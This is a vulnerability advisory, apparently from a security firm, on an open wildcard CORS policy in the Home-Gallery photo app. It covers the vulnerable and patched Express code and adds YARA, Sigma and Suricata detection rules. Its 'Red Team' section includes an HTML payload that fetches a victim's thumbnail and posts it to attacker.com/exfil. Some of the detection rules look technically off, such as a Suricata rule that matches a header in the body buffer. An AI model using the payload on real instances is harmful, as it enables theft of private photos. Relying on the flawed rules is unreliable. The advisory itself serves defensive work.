CVE-2024-53276

Executive Summary

CVE-2024-53276 affects Home-Gallery.org, a self-hosted open-source web gallery for browsing personal photos and videos. The vulnerability is an overly permissive CORS (Cross-Origin Resource Sharing) policy in the application’s Express middleware (app.js). This misconfiguration allows any external website to make cross-origin requests to the Home-Gallery instance, potentially exposing sensitive media files (preview images) if an attacker can guess or enumerate the randomized file paths.

The CVSS score is 0.0 (unscored), but based on the description, the risk is low to moderate due to the requirement that an attacker must know the exact path of preview images. However, the open CORS policy creates a broader attack surface for future endpoints or static files that may contain sensitive information.

Supply Chain & Package Security

Home-Gallery is an npm-based application. The vulnerable component is the Express middleware configuration in app.js. No official patch or advisory has been released by the vendor as of this report. Users should monitor the project’s GitHub repository for updates and consider applying a manual fix (see Remediation & Mitigation).

CVSS Breakdown & Threat Level

Threat Level: Low. Exploitation requires the attacker to know the randomized preview image paths, which are not easily guessable. However, the open CORS policy could be leveraged for future attacks if additional sensitive endpoints are added.

Deep Dive & Mechanics

The vulnerability resides in the Express middleware configuration within app.js. The following code snippet enables CORS for all origins without restrictions:

app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
  next();
});

This configuration allows any website to make cross-origin requests (e.g., via fetch() or XMLHttpRequest) to the Home-Gallery server. While most pages require JavaScript to render, the CORS policy permits reading of static files and API endpoints. The primary risk is that an attacker can:

1. Host a malicious webpage that makes fetch() requests to the victim’s Home-Gallery instance.
2. If the attacker knows the path to a preview image (e.g., /api/thumbnails/abc123.jpg), they can exfiltrate that image by reading the response.
3. The attacker could also enumerate paths if the naming scheme is predictable or if directory listing is enabled.

The vulnerability is not directly exploitable without knowledge of the file paths, but it violates the principle of least privilege and increases the attack surface.

Vulnerable vs. Patched Code

Vulnerable Code (app.js):

app.use((req, res, next) => {
  res.header('Access-Control-Allow-Origin', '*');
  res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
  next();
});

Patched Code (Recommended):

const allowedOrigins = ['https://yourdomain.com'];
app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.header('Access-Control-Allow-Origin', origin);
  }
  res.header('Access-Control-Allow-Headers', 'Origin, X-Requested-With, Content-Type, Accept');
  next();
});

The patched version restricts CORS to a whitelist of trusted origins, preventing arbitrary cross-origin requests.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running Home-Gallery instance (default configuration).
• Knowledge of at least one preview image path (e.g., via directory enumeration or leaked URL).

Exploitation Steps:

1. Create a malicious HTML page that makes a cross-origin request to the victim’s Home-Gallery server.
2. Use JavaScript to fetch a known image path and exfiltrate the data.

Example Payload:

<!DOCTYPE html>
<html>
<body>
<script>
  fetch('http://victim-home-gallery:3000/api/thumbnails/abc123.jpg')
    .then(response => response.blob())
    .then(blob => {
      // Exfiltrate via image or data URL
      const reader = new FileReader();
      reader.onload = function() {
        fetch('https://attacker.com/exfil', {
          method: 'POST',
          body: reader.result
        });
      };
      reader.readAsDataURL(blob);
    });
</script>
</body>
</html>

Note: No public exploit code is available for this CVE.

Blue Team

Detection:

• Monitor for unexpected Origin headers in HTTP requests to the Home-Gallery server.
• Look for Access-Control-Allow-Origin: * in server responses.
• Alert on cross-origin requests from unknown domains.

Hunting:

• Search logs for Origin headers that do not match the expected domain.
• Use network traffic analysis to identify unusual fetch() patterns.

Indicators of Compromise (IOCs)

• Network: HTTP responses containing Access-Control-Allow-Origin: *.
• Logs: Requests with Origin header set to an unexpected domain (e.g., evil.com).
• File: Presence of app.js with the vulnerable CORS middleware (line containing '*').

Detection Engineering

YARA Rule

rule CVE_2024_53276_CORS_Misconfig {
  meta:
    description = "Detects overly permissive CORS policy in Home-Gallery app.js"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2024-53276"
  strings:
    $cors_wildcard = "Access-Control-Allow-Origin', '*'" ascii wide nocase
  condition:
    $cors_wildcard
}

Sigma Rule

title: CVE-2024-53276 - Open CORS Policy in Home-Gallery
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP responses with overly permissive CORS header from Home-Gallery
author: Valters IT
date: 2025-04-10
logsource:
  category: webserver
  product: generic
detection:
  selection:
    response_header|contains: 'Access-Control-Allow-Origin: *'
  condition: selection
falsepositives:
  - Legitimate use of wildcard CORS (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-53276 - Open CORS Policy in Home-Gallery"; flow:to_client; content:"Access-Control-Allow-Origin: *"; http_server_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Fix: Modify the CORS middleware in app.js to whitelist specific origins (see Patched Code above).
2. Configuration: Disable CORS entirely if not needed, or restrict to the application’s own domain.
3. Monitoring: Implement logging for cross-origin requests and alert on unexpected Origin headers.
4. Upgrade: Monitor the Home-Gallery GitHub repository for an official patch. If none is released, apply the manual fix.
5. Network Segmentation: Place the Home-Gallery instance behind a reverse proxy (e.g., Nginx) that can enforce stricter CORS policies.

Valters IT
DevSecOps & Cyber Threat Intelligence